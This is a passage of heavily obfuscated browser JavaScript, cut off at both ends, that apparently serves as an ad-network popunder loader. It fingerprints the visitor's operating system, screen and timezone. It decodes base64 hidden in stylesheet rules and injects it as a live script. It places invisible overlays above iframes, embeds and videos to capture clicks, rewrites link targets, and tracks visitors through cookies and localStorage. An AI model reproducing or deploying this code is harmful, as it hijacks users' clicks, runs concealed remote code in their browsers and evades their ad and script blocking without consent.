udataCur = "1920"; /** @type {number} */ var fn = idx; if (I3x.i5h(deepDataAndEvents, udataCur)) { /** * @param {number} selector * @return {undefined} */ var jQuery = function(selector) { /** @type {number} */ fn = selector; }; jQuery(sel); } else { if (I3x.I5h(deepDataAndEvents, pdataOld)) { /** * @param {number} params * @return {undefined} */ var callback = function(params) { /** @type {number} */ fn = params; }; callback(match); } } return fn; }; /** * @param {number} deepDataAndEvents * @return {?} */ var getName = function clone(deepDataAndEvents) { /** @type {number} */ var udataCur = 19; /** @type {number} */ var fmt = 18; /** @type {number} */ var res = selector; if (deepDataAndEvents <= -fromIndex) { /** * @param {number} type * @return {undefined} */ var is = function(type) { /** @type {number} */ res = type; }; is(selector); } else { if (deepDataAndEvents <= -suiteView) { /** * @param {number} value * @return {undefined} */ var assign = function(value) { /** @type {number} */ res = value; }; assign(pdataOld); } else { if (deepDataAndEvents <= -restoreScript) { /** * @param {number} callback * @return {undefined} */ var getCallback = function(callback) { /** @type {number} */ res = callback; }; getCallback(restoreScript); } else { if (deepDataAndEvents <= -pdataOld) { /** * @param {number} obj * @return {undefined} */ var isUndefined = function(obj) { /** @type {number} */ res = obj; }; isUndefined(suiteView); } else { if (deepDataAndEvents <= -selector) { /** * @param {number} obj * @return {undefined} */ var _clone = function(obj) { /** @type {number} */ res = obj; }; _clone(fromIndex); } else { if (deepDataAndEvents <= -idx) { /** * @param {number} obj * @return {undefined} */ var forOwn = function(obj) { /** @type {number} */ res = obj; }; forOwn(base); } else { if (I3x.s6h(deepDataAndEvents, id)) { /** * @param {number} el * @return {undefined} */ var text = function(el) { /** @type {number} */ res = el; }; text(passes); } else { if (I3x.n6h(deepDataAndEvents, idx)) { /** * @param {number} i * @return {undefined} */ var getArr = function(i) { /** @type {number} */ res = i; }; getArr(te); } else { if (I3x.N5h(deepDataAndEvents, sel)) { /** * @param {number} value * @return {undefined} */ var parseEntry = function(value) { /** @type {number} */ res = value; }; parseEntry(pdataCur); } else { if (I3x.k5h(deepDataAndEvents, match)) { /** * @param {number} object * @return {undefined} */ var isArray = function(object) { /** @type {number} */ res = object; }; isArray(scripts); } else { if (I3x.p5h(deepDataAndEvents, selector)) { /** * @param {number} obj * @return {undefined} */ var forIn = function(obj) { /** @type {number} */ res = obj; }; forIn(r20); } else { if (I3x.g6h(deepDataAndEvents, pdataOld)) { /** * @param {number} obj * @return {undefined} */ var HOP = function(obj) { /** @type {number} */ res = obj; }; HOP(DOT_CALL_NO_PARENS); } else { if (I3x.m6h(deepDataAndEvents, restoreScript)) { /** * @param {number} err * @return {undefined} */ var cloned = function(err) { /** @type {number} */ res = err; }; cloned(fmt); } else { if (I3x.D6h(deepDataAndEvents, suiteView)) { /** * @param {number} value * @return {undefined} */ var isUndefinedOrNull = function(value) { /** @type {number} */ res = value; }; isUndefinedOrNull(udataCur); } else { if (I3x.a5h(deepDataAndEvents, fromIndex)) { /** * @param {number} value * @return {undefined} */ var _setOption = function(value) { /** @type {number} */ res = value; }; _setOption(interval); } else { if (I3x.v6h(deepDataAndEvents, bytenew)) { /** * @param {number} object * @return {undefined} */ var keys = function(object) { /** @type {number} */ res = object; }; keys(which); } else { /** * @param {number} object * @return {undefined} */ var hasKey = function(object) { /** @type {number} */ res = object; }; hasKey(result); } } } } } } } } } } } } } } } } return res; }; /** * @return {?} */ var keys = function u() { /** @type {string} */ var e = "com"; return e; }; /** * @return {?} */ var addChild = function parse() { /** @type {string} */ var restoreScript = "Linux"; /** @type {string} */ var last = "Android"; /** @type {string} */ var udataCur = "iOS"; /** @type {string} */ var suiteView = "MacOS"; /** @type {string} */ var c = "iPod"; /** @type {string} */ var A = "iPad"; /** @type {string} */ var a = "iPhone"; /** @type {string} */ var assets = "WinCE"; /** @type {string} */ var tmp = "Win64"; /** @type {string} */ var foo = "Win32"; /** @type {string} */ var D = "Mac68K"; /** @type {string} */ var w = "PC"; /** @type {string} */ var post = "ac"; /** @type {string} */ var base = "M"; /** @type {string} */ var B = "MacIntel"; /** @type {string} */ var machine = "Macintosh"; var extra = window["window"]["navigator"]["userAgent"]; var letter = window["window"]["navigator"]["platform"]; /** @type {Array} */ var alpha = [machine, B, base + post + p + w, D]; /** @type {Array} */ var dirs = [foo, tmp, camelKey, assets]; /** @type {Array} */ var letters = [a, A, c]; /** @type {null} */ var ret = obj; if (alpha.indexOf(letter) !== -idx) { /** * @param {?} obj * @return {undefined} */ var isUndefined = function(obj) { ret = obj; }; isUndefined(suiteView); } else { if (letters.indexOf(letter) !== -idx) { /** * @param {?} value * @return {undefined} */ var setBit = function(value) { ret = value; }; setBit(udataCur); } else { if (dirs.indexOf(letter) !== -idx) { /** * @param {?} key * @return {undefined} */ var promote = function(key) { ret = key; }; promote(camelKey); } else { if (/Android/.test(extra)) { /** * @param {?} last * @return {undefined} */ var process = function(last) { ret = last; }; process(last); } else { if (!ret && /Linux/.test(letter)) { /** * @param {?} callback * @return {undefined} */ var getName = function(callback) { ret = callback; }; getName(restoreScript); } } } } } return ret; }; /** * @param {?} elems * @return {?} */ var isBinary = function m(elems) { /** @type {string} */ var output = str; var digit = window["navigator"]["userAgent"]; if (I3x.S6h(elems, camelKey)) { if (/(Windows 10.0|Windows NT 10.0)/.test(digit)) { /** * @param {string} result * @return {undefined} */ var c = function(result) { /** @type {string} */ output = result; }; c(expectationResult); } if (/(Windows 8.1|Windows NT 6.3)/.test(digit)) { /** * @param {string} collection * @return {undefined} */ var indexOf = function(collection) { /** @type {string} */ output = collection; }; indexOf(dontCloseTags); } if (/(Windows 8|Windows NT 6.2)/.test(digit)) { /** * @param {string} exports * @return {undefined} */ var a = function(exports) { /** @type {string} */ output = exports; }; a(dontCloseTags); } if (/(Windows 7|Windows NT 6.1)/.test(digit)) { /** * @param {string} args * @return {undefined} */ var unsubscribe = function(args) { /** @type {string} */ output = args; }; unsubscribe(typePattern); } } return output; }; /** * @return {?} */ var clearStateChar = function promote() { var t = window["window"]["screen"]["width"]; return t; }; /** * @return {?} */ var named = function handle() { /** @type {Date} */ var dateJul = new Date; /** @type {number} */ var val = -dateJul.getTimezoneOffset() / udataCur; return val; }; /** * @return {?} */ var fn = function initialize() { /** @type {string} */ var tokenizeEvaluate = "afu.php"; /** @type {string} */ var len = '"]'; /** @type {string} */ var inner = '*="'; /** @type {string} */ var s = "rc"; /** @type {string} */ var _ = "["; /** @type {string} */ var val = "ipt"; /** @type {string} */ var version = "cr"; var node = window["document"]["querySelector"](name + version + val + _ + name + s + inner + e + ms + prefix + total + ms + value + ms + len); if (I3x.l5h(node, obj)) { return; } return item.F5h ? node.src.replace(/apu.php/g, tokenizeEvaluate) : node.src; }; /** * @param {?} deepDataAndEvents * @return {?} */ var getText = function init(deepDataAndEvents) { /** @type {string} */ try { var l; var enabled = false; if (window["document"]["styleSheets"]) { var i; for (i in window["document"]["styleSheets"]) { if (I3x.z5h(window["document"]["styleSheets"][i]["href"], deepDataAndEvents)) { /** * @param {Document} data * @return {undefined} */ var poll = function(data) { /** @type {string} */ var type = "les"; /** @type {string} */ var left = "sRu"; /** @type {string} */ var right = "cs"; l = data.styleSheets[i][right + left + type][match][STYLE][_j]; }; poll(document); break; } } } if (!l) { return false; } l = l.substring(idx, I3x.t6h(l.length, idx)); var f = window["window"]["atob"](l); f = f.split(slashSplit); /** @type {number} */ var _id = id; var s = f.length; for (;I3x.b6h(_id, s);_id++) { if (I3x.P5h(f[_id], window["location"]["host"])) { /** * @param {?} enable * @return {undefined} */ var debug = function(enable) { enabled = enable; }; debug(true); break; } } return enabled; } catch (x) { } }; /** * @param {?} assert * @return {?} */ var ok = function callback(assert) { /** @type {string} */ var success = "text/javascript"; /** @type {string} */ var varname = "script"; /** @type {string} */ var camelKey = '"KGZ1bmN0aW9uKCkge30pKCk7"'; /** @type {string} */ var b = "ef"; try { /** * @param {string} type * @return {undefined} */ var complete = function(type) { /** @type {string} */ fill.type = type; }; var l; if (window["document"]["styleSheets"]) { var i; for (i in window["document"]["styleSheets"]) { if (I3x.E6h(window["document"]["styleSheets"][i][value + c + b], assert)) { /** * @param {Document} doc * @return {undefined} */ var addNamespacesAndStylesheet = function(doc) { l = doc.styleSheets[i]["cssRules"][sel][STYLE][_j]; }; addNamespacesAndStylesheet(document); break; } } } if (!l) { /** * @param {Object} key * @return {undefined} */ var unlock = function(key) { /** @type {Object} */ l = key; }; unlock(camelKey); } l = l.substring(idx, I3x.d5h(l.length, idx)); var fill = window["document"]["createElement"](varname); complete(success); var img = window["document"]["createTextNode"](window["window"]["atob"](l)); fill.appendChild(img); window["document"]["body"]["appendChild"](fill); return function() { fill.parentNode.removeChild(fill); }; } catch (x) { } }; /** * @param {number} s * @param {number} value * @return {?} */ var indexOf = function url(s, value) { return Math.floor(I3x.O2h(Math.random(), value - s) + s); }; /** * @param {(number|string)} text * @return {?} */ var inArray = function init(text) { /** @type {number} */ var hello = id; if (I3x.Q5h(text.toString().length, idx)) { /** @type {number} */ var g = parseInt(text); return g; } else { text.toString().split(k).forEach(function(m1) { /** @type {number} */ var charCodeToReplace = parseInt(m1); return hello += charCodeToReplace; }); return init(hello); } }; /** * @param {string} key * @param {Text} value * @param {Text} data * @return {undefined} */ var X5 = function setCookie(key, value, data) { /** @type {string} */ var token = "; "; /** @type {(number|string)} */ var separator2 = '='; /** @type {string} */ var meridiem = "er"; /** @type {string} */ var max = "num"; /** * @param {string} value * @return {undefined} */ var escape = function(value) { window["document"]["cookie"] = value; }; /** * @return {undefined} */ var setDate = function() { data = data || {}; }; setDate(); var exp = data.c6h; if (typeof exp == max + min + meridiem && exp) { /** @type {Date} */ var d = new Date; d.setTime(d.getTime() + I3x.s5h(exp, backoff)); /** @type {Date} */ exp = data.c6h = d; } if (exp && exp.toUTCString) { data.c6h = exp.toUTCString(); } /** @type {string} */ value = encodeURIComponent(value); /** @type {string} */ var result = key + separator2 + value; var index; for (index in data) { result += token + index; var a = data[index]; if (I3x.M6h(a, true)) { result += separator2 + a; } } escape(result); }; /** * @param {string} key * @param {string} a * @return {?} */ var getNext = function e(key, a) { /** * @param {string} val * @return {undefined} */ var s = function(val) { /** @type {string} */ localStorage[key] = val; }; s(a); return a; }; /** * @param {string} b * @return {?} */ var getter = function nan(b) { return localStorage[b]; }; /** * @param {string} elem * @return {?} */ var V5 = function get(elem) { /** @type {string} */ var expected = "=([^;]*)"; /** @type {string} */ var name = "$1"; /** @type {string} */ var label = "(?:^|; )"; var matches = window["document"]["cookie"].match(new RegExp(label + elem.replace(/([.$?*|{}()\[\]/+^])/g, name) + expected)); return matches ? decodeURIComponent(matches[idx]) : undefined; }; /** * @param {Node} object * @param {?} arg * @return {?} */ var findClosestLink = function extend(object, arg) { if (!object) { return obj; } if (I3x.N6h(object.tagName, arg)) { return object; } return extend(object.parentNode, arg); }; /** * @return {undefined} */ var appendModelPrefix = function loaded() { /** @type {(null|number)} */ var backoff = 750; /** @type {string} */ var longNameB = "deo"; /** @type {string} */ var r = "v"; /** @type {string} */ var Cancel = "ed"; /** @type {string} */ var nbsp = "mb"; /** @type {string} */ var d = "am"; /** @type {string} */ var a = ", "; /** @type {string} */ var g = "j"; /** @type {string} */ var f = "ob"; forEach(until, function(t) { if (t.parentNode) { t.parentNode.removeChild(t); } }); until = forEach(log(f + g + b + s + $1 + a + key + _ + c + d + b + a + b + nbsp + Cancel + a + r + key + longNameB + a + e + prefix + content + key + v), function(element) { /** @type {string} */ var ABSOLUTE = "absolute"; /** @type {string} */ var margin = "px"; /** @type {boolean} */ var f = array.some(function(deepDataAndEvents) { return I3x.H6h(element.offsetWidth + customViewMenuOffsetWidth + element.offsetHeight, deepDataAndEvents); }); if (!f) { var elementRect = proceed(element); return drawBorder({ left : elementRect.left + margin, top : elementRect.top + margin, height : element.offsetHeight + margin, width : element.offsetWidth + (ms + customViewMenuOffsetWidth), position : ABSOLUTE }); } return[]; }); /** @type {number} */ tref = setTimeout(loaded, backoff); }; /** * @return {undefined} */ var loopMatch = function unload() { if (I3x.q5h(until.length, id)) { return; } forEach(until, function(t) { if (t.parentNode) { t.parentNode.removeChild(t); } }); if (tref) { clearTimeout(tref); } }; /** * @param {string} deepDataAndEvents * @return {?} */ var log = function clone(deepDataAndEvents) { /** @type {Array} */ var res = []; try { res = forEach(window["document"]["querySelectorAll"](deepDataAndEvents), function(obj) { return obj; }); } catch (x) { } return res; }; /** * @param {Array} arg * @param {Function} callback * @return {?} */ var forEach = function map(arg, callback) { /** @type {Array} */ var bucket = []; /** @type {number} */ var key = id; var value = void id; for (;I3x.C5h(key, arg.length);) { value = callback(arg[key], key, arg); if (I3x.R5h(value, undefined)) { bucket.push(value); } key += idx; } return bucket; }; /** * @param {Object} n * @return {?} */ var proceed = function chunk(n) { var otherElementRect = n.getBoundingClientRect(); return{ top : Math.round(otherElementRect.top + I3x.i2h(window["window"]["pageYOffset"] || (window["document"]["documentElement"]["scrollTop"] || window["document"]["body"]["scrollTop"]), window["document"]["documentElement"]["clientTop"] || (window["document"]["body"]["clientTop"] || id))), left : Math.round(otherElementRect.left + I3x.y5h(window["window"]["pageXOffset"] || (window["document"]["documentElement"]["scrollLeft"] || window["document"]["body"]["scrollLeft"]), window["document"]["documentElement"]["clientLeft"] || (window["document"]["body"]["clientLeft"] || id))) }; }; /** * @param {number} xs * @return {?} */ var get = function extend(xs) { /** @type {string} */ var actualObject = "0123456789abcdef"; /** @type {string} */ var obj = k; /** @type {string} */ var object = actualObject; /** @type {number} */ var udataCur = id; for (;I3x.W6h(udataCur, match);udataCur++) { obj += object.charAt(I3x.p6h(xs >> udataCur * fromIndex + selector, 15)) + object.charAt(I3x.X6h(xs >> udataCur * fromIndex, 15)); } return obj; }; /** * @param {string} result * @return {?} */ var cloneDate = function $(result) { /** * @return {undefined} */ var IEContentLoaded = function() { actions[I3x.m5h(udataCur * r20, sel)] = I3x.H5h(result.length, fromIndex); }; var udataCur = I3x.w5h(result.length + fromIndex, restoreScript) + idx; /** @type {Array} */ var actions = new Array(I3x.C2h(udataCur, r20)); /** @type {number} */ var _id = id; for (;I3x.x5h(_id, udataCur * r20);_id++) { /** * @param {number} s * @return {undefined} */ var esc = function(s) { /** @type {number} */ actions[_id] = s; }; esc(id); } /** @type {number} */ _id = id; for (;I3x.K6h(_id, result.length);_id++) { actions[I3x.x6h(_id, sel)] |= I3x.l6h(result.charCodeAt(_id), _id % selector * fromIndex); } actions[I3x.T6h(_id, sel)] |= I3x.W5h(128, _id % selector * fromIndex); IEContentLoaded(); return actions; }; /** * @param {number} deepDataAndEvents * @param {number} a * @return {?} */ var $ = function clone(deepDataAndEvents, a) { var udataCur = I3x.K5h(deepDataAndEvents, 65535) + I3x.o5h(a, 65535); var y = I3x.u6h(deepDataAndEvents, r20) + I3x.r6h(a, r20) + I3x.C6h(udataCur, r20); return I3x.y6h(y << r20, udataCur & 65535); }; /** * @param {number} dataAndEvents * @param {number} from * @return {?} */ var wrap = function clone(dataAndEvents, from) { /** @type {number} */ var to = 32; return I3x.f6h(dataAndEvents << from, dataAndEvents >>> to - from); }; /** * @param {number} context * @param {number} s * @param {number} dataAndEvents * @param {?} deepDataAndEvents * @param {number} target * @param {number} object * @return {?} */ var mixin = function clone(context, s, dataAndEvents, deepDataAndEvents, target, object) { return $(wrap($($(s, context), $(deepDataAndEvents, object)), target), dataAndEvents); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} x * @param {number} arr * @param {?} deepDataAndEvents * @param {number} obj * @param {number} block * @return {?} */ var set = function clone(object, dataAndEvents, x, arr, deepDataAndEvents, obj, block) { return mixin(I3x.z6h(dataAndEvents, x) | ~dataAndEvents & arr, object, dataAndEvents, deepDataAndEvents, obj, block); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} obj * @param {number} x * @param {?} deepDataAndEvents * @param {number} value * @param {number} src * @return {?} */ var insert = function clone(object, dataAndEvents, obj, x, deepDataAndEvents, value, src) { return mixin(I3x.r5h(dataAndEvents, x) | obj & ~x, object, dataAndEvents, deepDataAndEvents, value, src); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} xs * @param {number} x * @param {?} deepDataAndEvents * @param {number} regex * @param {number} other * @return {?} */ var test = function clone(object, dataAndEvents, xs, x, deepDataAndEvents, regex, other) { return mixin(I3x.a2h(dataAndEvents, xs, x), object, dataAndEvents, deepDataAndEvents, regex, other); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} obj * @param {number} arr * @param {?} deepDataAndEvents * @param {number} callback * @param {number} value * @return {?} */ var iterator = function clone(object, dataAndEvents, obj, arr, deepDataAndEvents, callback, value) { return mixin(obj ^ (dataAndEvents | ~arr), object, dataAndEvents, deepDataAndEvents, callback, value); }; /** * @param {string} callback * @return {?} */ var getValue = function render(callback) { /** @type {number} */ var Q = 343485551; /** @type {(number|string)} */ var udataCur = 718787259; /** @type {number} */ var y = 1120210379; /** @type {number} */ var f = 145523070; /** @type {number} */ var silentOptions = 1309151649; /** @type {number} */ var e = 1560198380; /** @type {number} */ var g = 30611744; /** @type {(number|string)} */ var _v = 1873313359; /** @type {number} */ var X = 2054922799; /** @type {number} */ var V = 1051523; /** @type {(number|string)} */ var M = 1894986606; /** @type {(number|string)} */ var camelKey = 1700485571; /** @type {number} */ var W = 57434055; /** @type {number} */ var u = 1416354905; /** @type {number} */ var STACK_JUMP_SEPARATOR = 1126891415; /** @type {number} */ var S = 198630844; /** @type {number} */ var t = 995338651; /** @type {number} */ var power = 530742520; /** @type {number} */ var Z = 421815835; /** @type {number} */ var d = 640364487; /** @type {number} */ var typePattern = 76029189; /** @type {number} */ var k = 722521979; /** @type {number} */ var F8 = 358537222; /** @type {number} */ var query = 681279174; /** @type {number} */ var p8 = 1094730640; /** @type {number} */ var s8 = 155497632; /** @type {number} */ var rem = 1272893353; /** @type {number} */ var q8 = 1530992060; /** @type {number} */ var m8 = 35309556; /** @type {number} */ var radixToPower = 1839030562; /** @type {number} */ var T8 = 2022574463; /** @type {number} */ var N8 = 378558; /** @type {number} */ var j8 = 1926607734; /** @type {number} */ var markdown = 1735328473; /** @type {number} */ var S8 = 51403784; /** @type {number} */ var B8 = 1444681467; /** @type {number} */ var eventData = 1163531501; /** @type {number} */ var d8 = 187363961; /** @type {number} */ var a8 = 1019803690; /** @type {number} */ var EventEmitter = 568446438; /** @type {number} */ var g1 = 405537848; /** @type {number} */ var W1 = 660478335; /** @type {number} */ var oldconfig = 38016083; /** @type {number} */ var u1 = 701558691; /** @type {(number|string)} */ var R = 373897302; /** @type {number} */ var originalEvent = 643717713; /** @type {number} */ var m1 = 1069501632; /** @type {number} */ var t1 = 165796510; /** @type {number} */ var stop = 1236535329; /** @type {number} */ var X8 = 1502002290; /** @type {number} */ var j1 = 40341101; /** @type {number} */ var waitsFunc = 1804603682; /** @type {number} */ var r1 = 1990404162; /** @type {number} */ var rreturn = 11; /** @type {number} */ var P8 = 42063; /** @type {number} */ var i8 = 1958414417; /** @type {number} */ var waitsForFunc = 1770035416; /** @type {number} */ var A1 = 45705983; /** @type {number} */ var x1 = 1473231341; /** @type {number} */ var spec = 1200080426; /** @type {number} */ var Q1 = 176418897; /** @type {number} */ var z8 = 1044525330; /** @type {number} */ var reversed = 22; /** @type {number} */ var suite = 606105819; /** @type {number} */ var C1 = 389564586; /** @type {number} */ var f1 = 680876936; /** @type {number} */ var m4 = 271733878; /** @type {number} */ var K1 = 1732584194; /** @type {number} */ var A8 = 271733879; /** @type {number} */ var defaultValue = 1732584193; var check = cloneDate(callback); /** @type {number} */ var value = defaultValue; /** @type {number} */ var node = -A8; /** @type {number} */ var obj = -K1; /** @type {number} */ var item = m4; /** @type {number} */ var T = id; for (;I3x.v5h(T, check.length);T += r20) { var v = value; var parent = node; var context = obj; var doc = item; value = set(value, node, obj, item, check[T + id], suiteView, -f1); item = set(item, value, node, obj, check[T + idx], passes, -C1); obj = set(obj, item, value, node, check[T + sel], DOT_CALL_NO_PARENS, suite); node = set(node, obj, item, value, check[T + match], reversed, -z8); value = set(value, node, obj, item, check[T + selector], suiteView, -Q1); item = set(item, value, node, obj, check[T + pdataOld], passes, spec); obj = set(obj, item, value, node, check[T + restoreScript], DOT_CALL_NO_PARENS, -x1); node = set(node, obj, item, value, check[T + suiteView], reversed, -A1); value = set(value, node, obj, item, check[T + fromIndex], suiteView, waitsForFunc); item = set(item, value, node, obj, check[T + bytenew], passes, -i8); obj = set(obj, item, value, node, check[T + base], DOT_CALL_NO_PARENS, -P8); node = set(node, obj, item, value, check[T + rreturn], reversed, -r1); value = set(value, node, obj, item, check[T + passes], suiteView, waitsFunc); item = set(item, value, node, obj, check[T + te], passes, -j1); obj = set(obj, item, value, node, check[T + pdataCur], DOT_CALL_NO_PARENS, -X8); node = set(node, obj, item, value, check[T + scripts], reversed, stop); value = insert(value, node, obj, item, check[T + idx], pdataOld, -t1); item = insert(item, value, node, obj, check[T + restoreScript], bytenew, -m1); obj = insert(obj, item, value, node, check[T + rreturn], pdataCur, originalEvent); node = insert(node, obj, item, value, check[T + id], interval, -R); value = insert(value, node, obj, item, check[T + pdataOld], pdataOld, -u1); item = insert(item, value, node, obj, check[T + base], bytenew, oldconfig); obj = insert(obj, item, value, node, check[T + scripts], pdataCur, -W1); node = insert(node, obj, item, value, check[T + selector], interval, -g1); value = insert(value, node, obj, item, check[T + bytenew], pdataOld, EventEmitter); item = insert(item, value, node, obj, check[T + pdataCur], bytenew, -a8); obj = insert(obj, item, value, node, check[T + match], pdataCur, -d8); node = insert(node, obj, item, value, check[T + fromIndex], interval, eventData); value = insert(value, node, obj, item, check[T + te], pdataOld, -B8); item = insert(item, value, node, obj, check[T + sel], bytenew, -S8); obj = insert(obj, item, value, node, check[T + suiteView], pdataCur, markdown); node = insert(node, obj, item, value, check[T + passes], interval, -j8); value = test(value, node, obj, item, check[T + pdataOld], selector, -N8); item = test(item, value, node, obj, check[T + fromIndex], rreturn, -T8); obj = test(obj, item, value, node, check[T + rreturn], r20, radixToPower); node = test(node, obj, item, value, check[T + pdataCur], result, -m8); value = test(value, node, obj, item, check[T + idx], selector, -q8); item = test(item, value, node, obj, check[T + selector], rreturn, rem); obj = test(obj, item, value, node, check[T + suiteView], r20, -s8); node = test(node, obj, item, value, check[T + base], result, -p8); value = test(value, node, obj, item, check[T + te], selector, query); item = test(item, value, node, obj, check[T + id], rreturn, -F8); obj = test(obj, item, value, node, check[T + match], r20, -k); node = test(node, obj, item, value, check[T + restoreScript], result, typePattern); value = test(value, node, obj, item, check[T + bytenew], selector, -d); item = test(item, value, node, obj, check[T + passes], rreturn, -Z); obj = test(obj, item, value, node, check[T + scripts], r20, power); node = test(node, obj, item, value, check[T + sel], result, -t); value = iterator(value, node, obj, item, check[T + id], restoreScript, -S); item = iterator(item, value, node, obj, check[T + suiteView], base, STACK_JUMP_SEPARATOR); obj = iterator(obj, item, value, node, check[T + pdataCur], scripts, -u); node = iterator(node, obj, item, value, check[T + pdataOld], which, -W); value = iterator(value, node, obj, item, check[T + passes], restoreScript, camelKey); item = iterator(item, value, node, obj, check[T + match], base, -M); obj = iterator(obj, item, value, node, check[T + base], scripts, -V); node = iterator(node, obj, item, value, check[T + idx], which, -X); value = iterator(value, node, obj, item, check[T + fromIndex], restoreScript, _v); item = iterator(item, value, node, obj, check[T + scripts], base, -g); obj = iterator(obj, item, value, node, check[T + restoreScript], scripts, -e); node = iterator(node, obj, item, value, check[T + te], which, silentOptions); value = iterator(value, node, obj, item, check[T + selector], restoreScript, -f); item = iterator(item, value, node, obj, check[T + rreturn], base, -y); obj = iterator(obj, item, value, node, check[T + sel], scripts, udataCur); node = iterator(node, obj, item, value, check[T + bytenew], which, -Q); value = $(value, v); node = $(node, parent); obj = $(obj, context); item = $(item, doc); } return get(value) + get(node) + get(obj) + get(item); }; toggle(radixToPower); /** @type {Array} */ var array = [foo, value2, baz, aba, I2, A_Z_a_z + d1 + d2 + customViewMenuOffsetWidth + d1 + w2]; /** @type {number} */ var index2 = idx; /** @type {number} */ var progressContexts = selector; /** @type {string} */ var rvar = item.j5h; /** @type {Array} */ var src = item.t5h; var tref = void id; /** @type {Array} */ var until = []; var blank; var text; var index; /** @type {string} */ var orig = path; var child = child || {}; isUndefinedOrNull(item); isArguments(a); /** @type {string} */ var expectedOutput = expected; /** @type {string} */ var up = mouseup; index = getIndex(); tryIt(); throttledUpdate(); if (I3x.X5h(item.F5h, undefined) && I3x.j6h(item.F5h.length, id)) { var memory; valueAccessor(function() { getActual(function() { /** * @param {Array} options * @param {?} $vid * @return {undefined} */ function pause(options, $vid) { /** * @param {Element} e * @return {undefined} */ function pause(e) { if (e.classList.contains(item.F5h)) { e.classList.remove(item.F5h); e.classList.add(getValue(child.b5h + Date.now())); } } /** @type {number} */ var len = id; var spaces = options.length; for (;I3x.F6h(len, spaces);len++) { if ($vid) { /** * @return {undefined} */ var callback = function() { /** @type {string} */ var dots = ".html"; options[len].href = text + dots; }; callback(); pause(options[len]); continue; } options[len].href = fn(); } } /** * @return {undefined} */ var bindings = function() { memory = window["document"]["querySelectorAll"](total + item.F5h) ? window["document"]["querySelectorAll"](total + item.F5h) : obj; }; bindings(); if (I3x.U6h(memory, obj)) { return; } toVLQSigned(function() { pause(memory, true); }, function() { pause(memory); }); }); }); return; } var node = function() { var doneResults = false; return function() { /** @type {string} */ var filename = "ript"; /** * @param {?} data * @return {undefined} */ var triggerHandler = function(data) { doneResults = data; }; /** * @param {string} blank * @return {undefined} */ var err = function(blank) { /** @type {string} */ img.src = blank; }; if (doneResults) { return; } triggerHandler(true); var img = window["document"]["createElement"](name + s + filename); err(blank); valueAccessor(function() { window["document"]["body"]["appendChild"](img); }); /** * @return {undefined} */ img.onload = function() { img.parentNode.removeChild(img); if (I3x.Q6h(window["window"].zfgloadedpopup, true)) { onerror(img); } }; /** * @return {undefined} */ img.onerror = function() { onerror(img); }; }; }(); var onerror = function() { var H2h = false; return function init(editor) { /** @type {string} */ var udataCur = "anonymous"; /** @type {string} */ var memory = "text/css"; /** @type {string} */ var pdataOld = "stylesheet"; /** @type {string} */ var seq = "head"; /** @type {string} */ var div = "link"; /** * @return {undefined} */ var loop = function() { /** @type {string} */ var extension = "css"; elem.id = index + extension; }; /** * @param {?} value * @return {undefined} */ var fn = function(value) { elem.rel = value; }; /** * @param {Object} value * @return {undefined} */ var options = function(value) { /** @type {Object} */ elem.crossOrigin = value; }; /** * @param {string} type * @return {undefined} */ var fire = function(type) { /** @type {string} */ elem.type = type; }; /** * @return {undefined} */ var change = function() { /** @type {string} */ var dots = ".css"; elem.href = text + dots; }; if (H2h) { return; } if (editor.parentNode) { editor.parentNode.removeChild(editor); } var elem = window["document"]["createElement"](div); var target = window["document"]["getElementsByTagName"](seq)[id]; loop(); fn(pdataOld); fire(memory); options(udataCur); change(); if (target) { target.insertBefore(elem, target.firstChild); } /** * @return {undefined} */ elem.onload = function() { var gameConfig = getText(elem.href); if (gameConfig) { on(failuresLink); elem.parentNode.removeChild(elem); return; } var prep = ok(elem.href); setTimeout(function() { /** @type {string} */ var closure = "io"; /** @type {string} */ var arr = "nct"; /** @type {string} */ var inner = "fu"; if (typeof prep === inner + arr + closure + style) { prep(); } elem.parentNode.removeChild(elem); }, backoff); if (I3x.O5h(window["window"].zfgloadedpopup, true)) { on(failuresLink); } }; /** * @return {undefined} */ elem.onerror = function() { on(failuresLink); elem.parentNode.removeChild(elem); }; }; }(); var on = function() { var deep = false; return function(deepDataAndEvents) { /** * @return {?} */ function pluck() { return getter(index).split(path).map(function(m1) { return parseInt(m1, base); }); } /** * @param {Array} that * @return {?} */ function filter(that) { /** @type {Array} */ var filtered = []; for (;I3x.e5h(that.length, id);) { filtered.push(that.splice(indexOf(id, that.length), idx).toString()); } return filtered; } /** * @param {number} name * @param {number} id * @param {number} s * @return {undefined} */ function getObject(name, id, s) { getNext(index, name + path + id + path + s); } /** @type {string} */ var offset = "z-index:"; /** @type {string} */ var webPortPath = "bottom:"; /** @type {string} */ var spaceBefore = "right:"; /** @type {string} */ var reference = "left:"; /** @type {string} */ var spaceAfter = "px;"; /** @type {string} */ var base = "height:"; /** @type {string} */ var val = "%;"; /** @type {string} */ var name = "width:"; /** @type {string} */ var start = "position:fixed;"; /** @type {(number|string)} */ var udataCur = 101; /** @type {number} */ var arg = 98; /** @type {number} */ var obj = 99999999; /** @type {number} */ var actual = 9999999; /** @type {string} */ var _ = "op"; /** @type {string} */ var g = "reff"; /** @type {string} */ var m = " "; /** @type {string} */ var h = "w"; /** @type {string} */ var x = "lo"; /** @type {string} */ var mapwidth = "ofol"; /** @type {string} */ var nbsp = "umbe"; /** @type {string} */ var NUMBER = "number"; /** @type {string} */ var startIndex = "___goo"; /** @type {number} */ var YY_START = 30; /** @type {string} */ var path = "|"; /** * @param {?} key * @return {undefined} */ var fn = function(key) { el.rel = key; }; /** * @param {?} target * @return {undefined} */ var deepMatches = function(target) { deep = target; }; /** * @return {undefined} */ var removeHash = function() { /** @type {string} */ var _ = "tm"; el.href = text + (total + value + _ + i); }; /** * @return {undefined} */ var throttledUpdate = function() { which = I3x.G2h(which, backoff, udataCur, udataCur); }; if (deep) { return; } deepMatches(true); /** @type {number} */ var previousSibling = idx; /** @type {(boolean|number)} */ var ifKeyword = match; /** @type {number} */ var YYSTATE = YY_START; /** @type {string} */ var index = startIndex; /** @type {number} */ var rvar = (new Date).getTime(); /** @type {(boolean|number)} */ var r20 = typeof item.n5h === NUMBER ? item.n5h : ifKeyword; /** @type {number} */ var which = typeof item.g5h === style + nbsp + c ? item.g5h : previousSibling; /** @type {number} */ var chunk = typeof item.R2h === NUMBER ? item.R2h : YYSTATE; var result = void id; throttledUpdate(); chunk *= backoff; if (!getter(index)) { getObject(rvar, id, id); appendModelPrefix(); } else { var CACHE = 